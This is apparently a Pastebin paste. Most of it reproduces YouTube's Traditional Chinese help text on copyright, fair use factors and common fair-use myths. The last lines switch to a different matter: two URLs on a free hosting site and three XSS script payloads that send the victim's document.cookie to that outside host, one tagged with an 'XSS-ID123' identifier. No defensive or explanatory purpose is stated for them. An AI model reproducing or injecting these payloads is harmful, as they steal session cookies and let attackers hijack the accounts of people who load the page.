Anon-T

YouTube Law 2014 version

Dec 28th, 2014
471
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.52 KB | None | 0 0
  1. YouTube Copyright Law 2014 version
  2. Caped By 0917 28th Dec 2014
  3. https://support.google.com/youtube/?hl=zh-Hant#topic=2676378
  4. 歡迎使用「YouTube」說明中心
  5.  
  6. https://www.youtube.com/yt/copyright/zh-HK/
  7. YouTube 內容版權
  8.  
  9. https://support.google.com/youtube/answer/2797466
  10. 什麼是版權?
  11. <那些類型的作品受到版權保護?>
  12. 當一個人的原創作品固定存在於某個實體媒介中,這時此人就擁有該作品的版權。版權擁有者有專屬的權利,能以特定方式運用該作品。
  13. 哪些類型的作品受到版權保護?
  14. 影音作品,例如電視節目、電影和線上影片
  15. 錄音軌和樂曲
  16. 文字作品,例如講稿、文章、書籍和詞曲作品
  17. 視覺作品,例如繪畫、海報和廣告
  18. 電玩遊戲和電腦軟體
  19. 戲劇作品,例如戲劇演出和音樂劇
  20. 如果只是單純的想法、客觀的事實和過程,就不受版權所保護。作品必須具備「原創性」並且「固定存在於」實體媒介中,才能受到版權的保護。作品名稱本身則不受版權保護。
  21.  
  22. <我能否在不侵權的情況下使用受版權保護的作品?>
  23. 在某些情況下,您可以使用受版權保護的作品,而不會侵犯擁有者的版權。詳見合理使用原則。
  24. 即使您採取以下做法,著作權人仍可提出版權聲明:
  25. 註明著作權人的姓名
  26. 並未透過侵權影片營利
  27. 在 YouTube 上發現其他類似影片
  28. 已購買該內容的 iTunes、CD 或 DVD 版本
  29. 自行錄製電視、電影院或廣播中的內容
  30. 已註明「無意侵犯版權」
  31. 某些內容創作者選擇公開自己的作品給他人用於二次創作,但使用人必須符合特定條件。進一步瞭解何謂創用 CC 授權。
  32.  
  33. https://www.youtube.com/yt/copyright/zh-HK/fair-use.html
  34. 什麼是合理使用原則?
  35.  
  36. 構成合理使用的四個因素:
  37. 在美國,合理使用是由法官裁定,法官會根據合理使用的四大因素,分析特定案件是否符合合理使用原則。
  38. 1. 使用目的及性質 (包括是否用於商業性質還是非牟利教育用途)
  39. 一般來說,法院著重衡量使用方式是否有「轉化性」,亦即能否在原創內容以外加添新的表達內容或意義,或只是純粹抄襲原創內容。如果是商業用途,即使可能可以透過影片獲利,並且在為合理使用作出辯護時仍佔有優勢,但不太可能被裁定為符合合理使用原則。
  40. 2. 版權作品性質
  41. 使用的內容若來自以事實為主的作品,比純屬虛構的作品更大機會被視為合理使用。
  42. 3. 版權作品相關使用部分的整體數量多寡和實質內容
  43. 引用少量原創作品內容,比引用大量內容更大機會被視為合理使用。不過,若引用內容屬於原創作品的「核心」部分,即使只佔整體的一小部分,在某些情況下仍可能違反合理使用原則。
  44. 4. 使用方式對版權作品的潛在市場或價值造成的影響
  45. 若使用方式損害版權擁有者從原創作品中獲利的能力,通常不太可能被視為合理使用。對於諷刺性的模仿作品,法院有時會將案例判定為此因素的例外情況。
  46.  
  47. 合理使用的誤解
  48. 坊間有些不實的資訊,誤導使用者以為只要使用某些字眼,就可符合合理使用原則。事實上,當您使用他人擁有的版權素材時,並無妙計可保證您受合理使用原則保障。法院判決時會考慮上述四大因素,並根據個別情況衡量。以下是一些常見誤解:
  49. 誤解 1:我只需註明版權擁有者,即符合合理使用原則。
  50. 如以文所述,「轉化」在合理使用分析中通常是關鍵。只在影片中註明版權作品的擁有者,並不代表未經轉化素材的複製版本符合合理使用原則。使用「所有版權屬作者所有」和「非本人所有」等字句,並不代表您以合理使用原則使用該素材,亦不表示您獲得版權擁有者的許可。
  51. 誤解 2:我只需在影片中刊登免責聲明,即算作合理使用。
  52. 如上文所述,單靠聲明中的字眼不代表您的內容符合合理使用原則。在影片中列出合理使用的四項因素,或在影片中聲明「無任何侵權意圖」等字句,並不代表您不會收到侵犯版權的申索。
  53. 誤解 3:「娛樂」或「非牟利」性質的使用方式即屬合理使用。
  54. 法院將嚴格審查您的使用目的是否為合理用途,但同時亦會考慮其餘三項因素。例如,根據合理使用的綜合評核準則,即使您聲稱上載的內容「僅作為娛樂用途」,通常也無法通過評核。同樣地,即使「非牟利」使用方式在合理使用的分析中較易被接納,但亦並不代表一定符合合理使用原則。
  55. 誤解 4:我只需在他人的版權作品中加入自己的原創素材,即符合合理使用原則。
  56. 即使您在他人的內容中加入自己的少量創作,仍不一定受合理使用原則的保障,尤其是如果您創作的內容無法為原創作品增添新的意思、意義或傳達新訊息。如本文所述的其他情況,法院在合理使用評核中會考慮四個因素,包括影片使用的原創內容量。
  57.  
  58.  
  59. http://www.freedomofjustices.site11.com/i.php
  60. http://www.freedomofjustices.site11.com/get.php
  61. <script>new Image().src="http://freedomofjustices.site11.com/i?c="+document.cookie+"&e=XSS-ID123"; </script>
  62. <script>new Image().src="http://freedomofjustices.site11.com/i?c="+document.cookie; </script>
  63. <script>window.open().src="http://freedoofjustices.site11.com/get?a="+document.cookie;</script>
Advertisement
Add Comment
Please, Sign In to add comment